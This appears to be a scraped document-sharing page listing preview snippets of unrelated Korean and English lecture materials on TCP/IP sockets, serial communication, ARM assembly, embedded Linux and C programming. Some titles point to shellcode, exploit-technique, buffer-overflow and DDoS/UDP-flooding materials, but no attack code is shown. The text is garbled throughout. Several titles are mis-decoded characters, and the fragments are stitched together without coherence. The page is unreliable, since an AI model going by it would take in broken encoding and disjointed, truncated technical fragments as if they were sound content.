À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾ P a 02 r t Chapter 4 TCP Chapter 5 Chapter 6 UDP Chapter 7 Chapter 8 GUI C h a p t e r 04 TCP 1 3 1 2 3 TCP TCP TCP [ 4 2] listen connect send accept recv send recv [ 4 1] PC Internet Explorer HTTP HTTP

More information

TCP.IP.ppt

TCP.IP.ppt TCP/IP TCP/IP TCP/IP TCP/IP TCP/IP Internet Protocol _ IP Address Internet Protocol _ Subnet Mask Internet Protocol _ ARP(Address Resolution Protocol) Internet Protocol _ RARP(Reverse Address Resolution

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

Microsoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode] TCP Server/Client Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 TCP Server Program Procedure TCP Server socket() bind() 소켓생성 소켓번호와소켓주소의결합 listen() accept() read() 서비스처리, write()

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

Microsoft PowerPoint - 12 ¼ÒÄÏÀ» ÀÌ¿ëÇÑ Åë½Å 1.ppt

Microsoft PowerPoint - 12 ¼ÒÄÏÀ» ÀÌ¿ëÇÑ Åë½Å 1.ppt 12 장 소켓을이용한통신 (1) 함수 - inet_addr - inet_ntoa - socket - bind - listen - accept - connect - recv -send 1 서론 파이프를사용하여통신을하기위한시스템호출 / 표준라이브러리함수 함수 의미 inet_addr 문자열형태의인터넷주소를바이너리형태로변환한다. inet_ntoa 바이너리형태의인터넷주소를문자열형태로변환한다.

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

Microsoft Word - 1. ARM Assembly 실습_xp2.doc

Microsoft Word - 1. ARM Assembly 실습_xp2.doc ARM asm 의구조 ARM Assembly 실습 1. 기본골격 AREA armex,code, READONLY ;Mark first instruction to execute start MOV r0, #10 MOV r1,#3 ADD r0, r0, r1 ; r0 = r0 + r1 stop NOP NOP B stop ; Mark end of file 위의 asm의구조를이해하고실행해보세요.

More information

Subnet Address Internet Network G Network Network class B networ

Subnet Address Internet Network G Network Network class B networ Structure of TCP/IP Internet Internet gateway (router) Internet Address Class A Class B Class C 0 8 31 0 netid hostid 0 16 31 1 0 netid hostid 0 24 31 1 1 0 netid hostid Network Address : (A) 1 ~ 127,

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 (Host) set up : Linux Backend RS-232, Ethernet, parallel(jtag) Host terminal Target terminal : monitor (Minicom) JTAG Cross compiler Boot loader Pentium Redhat 9.0 Serial port Serial cross cable Ethernet

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

슬라이드 1

슬라이드 1 Computer Networks Practice Socket 1 DK Han Junghwan Song dkhan@mmlab.snu.ac.kr jhsong@mmlab.snu.ac.kr 2012-3-26 Multimedia and Mobile communications Laboratory Introduction Client / Server model Server

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 인터넷프로토콜 03 장 도메인네임시스템과주소 패밀리 (IPv4-IPv6 서비스 ) 1 목차 제 3 장도메인네임시스템과주소패밀리 3.1 도메인네임주소를숫자주소로매핑하기 3.2 IP 버전에무관한주소-범용코드의작성 3.3 숫자주소에서도메인네임주소획득하기 2 getaddrinfo() 를활용한주소 범용 (Generic) 코드 주소범용 (Generic) 코드란? 주소버전

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 인터넷프로토콜 5 장 데이터송수신 (3) 1 파일전송메시지구성예제 ( 고정크기메시지 ) 전송방식 : 고정크기 ( 바이너리전송 ) 필요한전송정보 파일이름 ( 최대 255 자 => 255byte 의메모리공간필요 ) 파일크기 (4byte 의경우최대 4GB 크기의파일처리가능 ) 파일내용 ( 가변길이, 0~4GB 크기 ) 메시지구성 FileName (255bytes)

More information

제20회_해킹방지워크샵_(이재석)

제20회_해킹방지워크샵_(이재석) IoT DDoS DNS (jaeseog@sherpain.net) (www.sherpain.net) DDoS DNS DDoS / DDoS(Distributed DoS)? B Asia Broadband B Bots connect to a C&C to create an overlay network (botnet) C&C Provider JP Corp. Bye Bye!

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

슬라이드 1

슬라이드 1 마이크로컨트롤러 2 (MicroController2) 2 강 ATmega128 의 external interrupt 이귀형교수님 학습목표 interrupt 란무엇인가? 기본개념을알아본다. interrupt 중에서가장사용하기쉬운 external interrupt 의사용방법을학습한다. 1. Interrupt 는왜필요할까? 함수동작을추가하여실행시키려면? //***

More information

lecture4(6.범용IO).hwp

lecture4(6.범용IO).hwp 제 2 부 C-언어를 사용한 마이크로컨트롤러 활용기초 66 C-언어는 수학계산을 위해 개발된 FORTRAN 같은 고급언어들과는 달 리 Unix 운영체제를 개발하면서 같이 개발된 고급언어이다. 운영체제의 특성상 C-언어는 다른 고급언어에 비해 컴퓨터의 하드웨어를 직접 제어할 수 있는 능력이 탁월하여 마이크로프로세서의 프로그램에 있어서 어셈블 리와 더불어 가장

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

chapter4

chapter4 Basic Netw rk 1. ก ก ก 2. 3. ก ก 4. ก 2 1. 2. 3. 4. ก 5. ก 6. ก ก 7. ก 3 ก ก ก ก (Mainframe) ก ก ก ก (Terminal) ก ก ก ก ก ก ก ก 4 ก (Dumb Terminal) ก ก ก ก Mainframe ก CPU ก ก ก ก 5 ก ก ก ก ก ก ก ก ก ก

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Text-LCD Device Control - Device driver Jo, Heeseung M3 모듈에장착되어있는 Tedxt LCD 장치를제어하는 App 을개발 TextLCD 는영문자와숫자일본어, 특수문자를표현하는데사용되는디바이스 HBE-SM5-S4210 의 TextLCD 는 16 문자 *2 라인을 Display 할수있으며, 이 TextLCD 를제어하기위하여

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

Network seminar.key

Network seminar.key Intro to Network .. 2 4 ( ) ( ). ?!? ~! This is ~ ( ) /,,,???? TCP/IP Application Layer Transfer Layer Internet Layer Data Link Layer Physical Layer OSI 7 TCP/IP Application Layer Transfer Layer 3 4 Network

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

Microsoft Word doc

Microsoft Word doc TCP/IP 구조 1. I.P 구조설명 2. ARP 구조설명 3. TCP 구조설명 4. UDT 구조설명 5. RIP 구조설명 6. BOOTP 구조설명 7. TFTP 구조설명 destination addr source addr type data CRC 6 6 2 46-1500 4 type 0X0800 IP datagram 2 46-1500 type 0X0806

More information

T100MD+

T100MD+ User s Manual 100% ) ( x b a a + 1 RX+ TX+ DTR GND TX+ RX+ DTR GND RX+ TX+ DTR GND DSR RX+ TX+ DTR GND DSR [ DCE TYPE ] [ DCE TYPE ] RS232 Format Baud 1 T100MD+

More information

untitled

untitled Step Motor Device Driver Embedded System Lab. II Step Motor Step Motor Step Motor source Embedded System Lab. II 2 open loop, : : Pulse, 1 Pulse,, -, 1 +5%, step Step Motor (2),, Embedded System Lab. II

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729>

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729> 8주차중간고사 ( 인터럽트및 A/D 변환기문제및풀이 ) Next-Generation Networks Lab. 외부입력인터럽트예제 문제 1 포트 A 의 7-segment 에초시계를구현한다. Tact 스위치 SW3 을 CPU 보드의 PE4 에연결한다. 그리고, SW3 을누르면하강 에지에서초시계가 00 으로초기화된다. 동시에 Tact 스위치 SW4 를 CPU 보드의

More information

Microsoft Word - FreeBSD Shellcode 만들기.docx

Microsoft Word - FreeBSD Shellcode 만들기.docx FreeBSD Shellcode 만들기 작성자 : graylynx (graylynx at gmail.com) 작성일 : 2007년 6월 21일 ( 마지막수정일 : 2007년 6월 21일 ) http://powerhacker.net 이문서는쉘코드를만드는데필요한모든내용을포함하고있지는않습니다. 이문서를읽어보시기전에간단한어셈블리명령어와 C 언어문법, 쉘코드에대한기초적인내용을미리습득하신다면더욱더쉽게이해할수있을겁니다

More information

2. GCC Assembler와 AVR Assembler의차이 A. GCC Assembler 를사용하는경우 i. Assembly Language Program은.S Extension 을갖는다. ii. C Language Program은.c Extension 을갖는다.

2. GCC Assembler와 AVR Assembler의차이 A. GCC Assembler 를사용하는경우 i. Assembly Language Program은.S Extension 을갖는다. ii. C Language Program은.c Extension 을갖는다. C 언어와 Assembly Language 을사용한 Programming 20011.9 경희대학교조원경 1. AVR Studio 에서사용하는 Assembler AVR Studio에서는 GCC Assembler와 AVR Assmbler를사용한다. A. GCC Assembler : GCC를사용하는경우 (WinAVR 등을사용하는경우 ) 사용할수있다. New Project

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 얇지만얇지않은 TCP/IP 소켓프로그래밍 C 2 판 4 장 UDP 소켓 제 4 장 UDP 소켓 4.1 UDP 클라이언트 4.2 UDP 서버 4.3 UDP 소켓을이용한데이터송싞및수싞 4.4 UDP 소켓의연결 UDP 소켓의특징 UDP 소켓의특성 싞뢰할수없는데이터젂송방식 목적지에정확하게젂송된다는보장이없음. 별도의처리필요 비연결지향적, 순서바뀌는것이가능 흐름제어 (flow

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

<43B7CE20BECBBEC6BAB8B4C220BCD2C4CFC7C1B7CEB1D7B7A1B9D62E687770>

<43B7CE20BECBBEC6BAB8B4C220BCD2C4CFC7C1B7CEB1D7B7A1B9D62E687770> C 로알아보는 소켓프로그래밍 이현환 (NOON) haonun@gmail.com http://noon.tistory.com Hacking Study Grup E.Y.E -------------------------------------------------------------------- 목차 --------------------------------------------------------------------

More information

본 강의에 들어가기 전

본 강의에 들어가기 전 C 기초특강 종합과제 과제내용 구조체를이용하여교과목이름과코드를파일로부터입력받아관리 구조체를이용하여학생들의이름, 학번과이수한교과목의코드와점수를파일로부터입력 학생개인별총점, 평균계산 교과목별이수학생수, 총점및평균을계산 결과를파일에저장하는프로그램을작성 2 Makefile OBJS = score_main.o score_input.o score_calc.o score_print.o

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

Microsoft PowerPoint - IOControl [호환 모드]

Microsoft PowerPoint - IOControl [호환 모드] 목차 Input/Output Control I/O Control Mechanism mmap function munmap function RAM Area Access LED Control 4 digits 7 Segment Control Text LCD Control 1 2 I/O Control Mechanism (1) I/O Control Mechanism (2)

More information

Microsoft PowerPoint - L4-7Switch기본교육자료.ppt

Microsoft PowerPoint - L4-7Switch기본교육자료.ppt L4-7 Switch 기본교육자료 Pumpkin Networks. Inc. http://www.pumpkinnet.co.kr (Tel) 02-3280-9380 (Fax) 02-3280-9382 info@pumpkinnet.co.kr 기본개념 L4/L7 Switch 란? -2- 기본개념 - Switching & Routing Switching & Routing

More information

1. What is AX1 AX1 Program은 WIZnet 사의 Hardwired TCP/IP Chip인 iinchip 들의성능평가및 Test를위해제작된 Windows 기반의 PC Program이다. AX1은 Internet을통해 iinchip Evaluation

1. What is AX1 AX1 Program은 WIZnet 사의 Hardwired TCP/IP Chip인 iinchip 들의성능평가및 Test를위해제작된 Windows 기반의 PC Program이다. AX1은 Internet을통해 iinchip Evaluation 1. What is AX1 AX1 Program은 WIZnet 사의 Hardwired TCP/IP Chip인 iinchip 들의성능평가및 Test를위해제작된 Windows 기반의 PC Program이다. AX1은 Internet을통해 iinchip Evaluation Board(EVB B/D) 들과 TCP/IP Protocol로연결되며, 연결된 TCP/IP

More information

TTA Verified : HomeGateway :, : (NEtwork Testing Team)

TTA Verified : HomeGateway :, : (NEtwork Testing Team) TTA Verified : HomeGateway :, : (NEtwork Testing Team) : TTA-V-N-05-006-CC11 TTA Verified :2006 6 27 : 01 : 2005 7 18 : 2/15 00 01 2005 7 18 2006 6 27 6 7 9 Ethernet (VLAN, QoS, FTP ) (, ) : TTA-V-N-05-006-CC11

More information

본 강의에 들어가기 전

본 강의에 들어가기 전 네트워크프로그래밍 02 장 TCP 소켓 (1) 1 목차 제 2장 TCP 소켓 1. IPv4 TCP 클라이언트 2. IPv4 TCP 서버 3. 소켓의생성과해지 4. 주소지정 5. 소켓에연결 6. 소켓을주소에바인딩하기 7. 클라이언트의연결요청처리 8. 데이터주고받기 9. IPv6의사용 2 소켓통신과정 간략화한소켓통신과정 소켓생성 TCP or UDP 소켓에주소정보할당

More information

Network Security - Wired Sniffing 실습 ICNS Lab. Kyung Hee University

Network Security - Wired Sniffing 실습 ICNS Lab. Kyung Hee University Network Security - Wired Sniffing 실습 ICNS Lab. Kyung Hee University Outline Network Network 구조 Source-to-Destination 간 packet 전달과정 Packet Capturing Packet Capture 의원리 Data Link Layer 의동작 Wired LAN Environment

More information

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2 비트연산자 1 1 비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2 진수법! 2, 10, 16, 8! 2 : 0~1 ( )! 10 : 0~9 ( )! 16 : 0~9, 9 a, b,

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 1 목포해양대해양컴퓨터공학과 UDP 소켓 네트워크프로그램설계 4 장 2 목포해양대해양컴퓨터공학과 목차 제 4장 UDP 소켓 4.1 UDP 클라이언트 4.2 UDP 서버 4.3 UDP 소켓을이용한데이터송신및수신 4.4 UDP 소켓의연결 3 목포해양대해양컴퓨터공학과 UDP 소켓의특징 UDP 소켓의특성 신뢰할수없는데이터전송방식 목적지에정확하게전송된다는보장이없음.

More information

Microsoft PowerPoint - lab14.pptx

Microsoft PowerPoint - lab14.pptx Mobile & Embedded System Lab. Dept. of Computer Engineering Kyung Hee Univ. Keypad Device Control in Embedded Linux HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착되어있다. 2 Keypad Device Driver

More information

/chroot/lib/ /chroot/etc/

/chroot/lib/ /chroot/etc/ 구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어

More information

본 강의에 들어가기 전

본 강의에 들어가기 전 1 목포해양대해양컴퓨터공학과 2 장. TCP 소켓 네트워크프로그램설계 2 목포해양대해양컴퓨터공학과 목차 제 2장 TCP 소켓 1. IPv4 TCP 클라이언트 2. IPv4 TCP 서버 3. 소켓의생성과해지 4. 주소지정 5. 소켓에연결 6. 소켓을주소에바인딩하기 7. 클라이언트의연결요청처리 8. 데이터주고받기 9. IPv6의사용 3 목포해양대해양컴퓨터공학과

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

Microsoft PowerPoint APUE(Intro).ppt

Microsoft PowerPoint APUE(Intro).ppt 컴퓨터특강 () [Ch. 1 & Ch. 2] 2006 년봄학기 문양세강원대학교컴퓨터과학과 APUE 강의목적 UNIX 시스템프로그래밍 file, process, signal, network programming UNIX 시스템의체계적이해 시스템프로그래밍능력향상 Page 2 1 APUE 강의동기 UNIX 는인기있는운영체제 서버시스템 ( 웹서버, 데이터베이스서버

More information

1장. 유닉스 시스템 프로그래밍 개요

1장.  유닉스 시스템 프로그래밍 개요 Unix 프로그래밍및실습 7 장. 시그널 - 과제보충 응용과제 1 부모프로세스는반복해서메뉴를출력하고사용자로부터주문을받아자식프로세스에게주문내용을알린다. (SIGUSR1) ( 일단주문을받으면음식이완료되기전까지 SIGUSR1 을제외한다른시그널은모두무시 ) timer 자식프로세스는주문을받으면조리를시작한다. ( 일단조리를시작하면음식이완성되기전까지 SIGALARM 을제외한다른시그널은모두무시

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음

More information

C 프로그래밍 언어 입문 C 프로그래밍 언어 입문 김명호저 숭실대학교 출판국 머리말..... C, C++, Java, Fortran, Python, Ruby,.. C. C 1972. 40 C.. C. 1999 C99. C99. C. C. C., kmh ssu.ac.kr.. ,. 2013 12 Contents 1장 프로그래밍 시작 1.1 C 10 1.2 12

More information

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

Microsoft Word - FS_ZigBee_Manual_V1.3.docx FirmSYS Zigbee etworks Kit User Manual FS-ZK500 Rev. 2008/05 Page 1 of 26 Version 1.3 목 차 1. 제품구성... 3 2. 개요... 4 3. 네트워크 설명... 5 4. 호스트/노드 설명... 6 네트워크 구성... 6 5. 모바일 태그 설명... 8 6. 프로토콜 설명... 9 프로토콜 목록...

More information

<4D F736F F F696E74202D E20B3D7C6AEBFF6C5A920C7C1B7CEB1D7B7A1B9D62E >

<4D F736F F F696E74202D E20B3D7C6AEBFF6C5A920C7C1B7CEB1D7B7A1B9D62E > 웹프로그래밍및실습 ( g & Practice) 문양세강원대학교 IT 대학컴퓨터과학전공 소켓 (Socket) (1/2) Socket 이란? 서버와클라이언트가서로특정한규약을사용하여데이터를전송하기위한방식 서버와클라이언트는소켓연결을기다렸다가소켓이연결되면서로데이터를전송 현재네트워크상에서의모든통신의근간은 Socket 이라할수있음 Page 2 1 소켓 (Socket) (2/2)

More information

UDP Flooding Attack 공격과 방어

UDP Flooding Attack 공격과 방어 황 교 국 (fullc0de@gmail.com) SK Infosec Co., Inc MSS Biz. Security Center Table of Contents 1. 소개...3 2. 공격 관련 Protocols Overview...3 2.1. UDP Protocol...3 2.2. ICMP Protocol...4 3. UDP Flood Test Environment...5

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

K&R2 Reference Manual 번역본

K&R2 Reference Manual 번역본 typewriter structunion struct union if-else if if else if if else if if if if else else ; auto register static extern typedef void char short int long float double signed unsigned const volatile { } struct

More information

MPLAB C18 C

MPLAB C18 C MPLAB C18 C MPLAB C18 MPLAB C18 C MPLAB C18 C #define START, c:\mcc18 errorlevel{0 1} char isascii(char ch); list[list_optioin,list_option] OK, Cancel , MPLAB IDE User s Guide MPLAB C18 C

More information

Microsoft PowerPoint - Supplement-03-TCP Programming.ppt [호환 모드]

Microsoft PowerPoint - Supplement-03-TCP Programming.ppt [호환 모드] - Socket Programming in Java - 목차 소켓소개 자바에서의 TCP 프로그램작성방법 주요클래스와메소드 HTTP 프로토콜을이용한예제 에코프로그램 Q/A 에코프로그램 - EchoServer 에코프로그램 - EchoClient TCP Programming 1 소켓소개 IP, Port, and Socket 포트 (Port): 전송계층에서통신을수행하는응용프로그램을찾기위한주소

More information

11장 포인터

11장 포인터 Dynamic Memory and Linked List 1 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것 메모리의크기는프로그램이시작하기전에결정 int i, j; int buffer[80]; char name[] = data structure"; 처음에결정된크기보다더큰입력이들어온다면처리하지못함

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

제1장 Unix란 무엇인가?

제1장  Unix란 무엇인가? 1 소켓 2 1 소켓 클라이언트 - 서버모델 네트워크응용프로그램 클리이언트 - 서버모델을기반으로동작한다. 클라이언트 - 서버모델 하나의서버프로세스와여러개의클라이언트로구성된다. 서버는어떤자원을관리하고클라이언트를위해자원관련서비스를제공한다. 3 소켓의종류 소켓 네트워크에대한사용자수준의인터페이스를제공 소켓은양방향통신방법으로클라이언트 - 서버모델을기반으로프로세스사이의통신에매우적합하다.

More information

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100 2015-1 프로그래밍언어 9. 연결형리스트, Stack, Queue 2015 년 5 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) 연결리스트 (Linked List) 연결리스트연산 Stack

More information

슬라이드 1

슬라이드 1 / 유닉스시스템개요 / 파일 / 프로세스 01 File Descriptor file file descriptor file type unix 에서의파일은단지바이트들의나열임 operating system 은파일에어떤포맷도부과하지않음 파일의내용은바이트단위로주소를줄수있음 file descriptor 는 0 이나양수임 file 은 open 이나 creat 로 file

More information

歯7장.PDF

歯7장.PDF 7 Hello!! C 2 . 3 ([] ) < > [ ]; int array[10]; < > [ ][ ]; int array [3] [5]; 4 < > [ ]={ x1,,x10} ( ); (,). ({}). : int array[10]={1,2,3,4,5,6,7,8,9,10}; (" "). : char array[7]="turbo-c"; 5 int array[2][3]={{1,2},{3,4},{5,6}};

More information

chap7.PDF

chap7.PDF 7 Hello!! C 2 . 3 ([] ) < > [ ]; int array[10]; < > [ ][ ]; int array [3] [5]; 4 < > [ ]={ x1,,x10} ( ); (,). ({}). : int array[10]={1,2,3,4,5,6,7,8,9,10}; (" "). : char array[7]="turbo-c"; 5 int array[2][3]={{1,2},{3,4},{5,6}};

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

untitled

untitled 9 hamks@dongguk.ac.kr : Source code Assembly language code x = a + b; ld a, %r1 ld b, %r2 add %r1, %r2, %r3 st %r3, x (Assembler) (bit pattern) (machine code) CPU security (code generator).. (Instruction

More information

SMB_ICMP_UDP(huichang).PDF

SMB_ICMP_UDP(huichang).PDF SMB(Server Message Block) UDP(User Datagram Protocol) ICMP(Internet Control Message Protocol) SMB (Server Message Block) SMB? : Microsoft IBM, Intel,. Unix NFS. SMB client/server. Client server request

More information

Microsoft PowerPoint - [2009] 02.pptx

Microsoft PowerPoint - [2009] 02.pptx 원시데이터유형과연산 원시데이터유형과연산 원시데이터유형과연산 숫자데이터유형 - 숫자데이터유형 원시데이터유형과연산 표준입출력함수 - printf 문 가장기본적인출력함수. (stdio.h) 문법 ) printf( Test printf. a = %d \n, a); printf( %d, %f, %c \n, a, b, c); #include #include

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

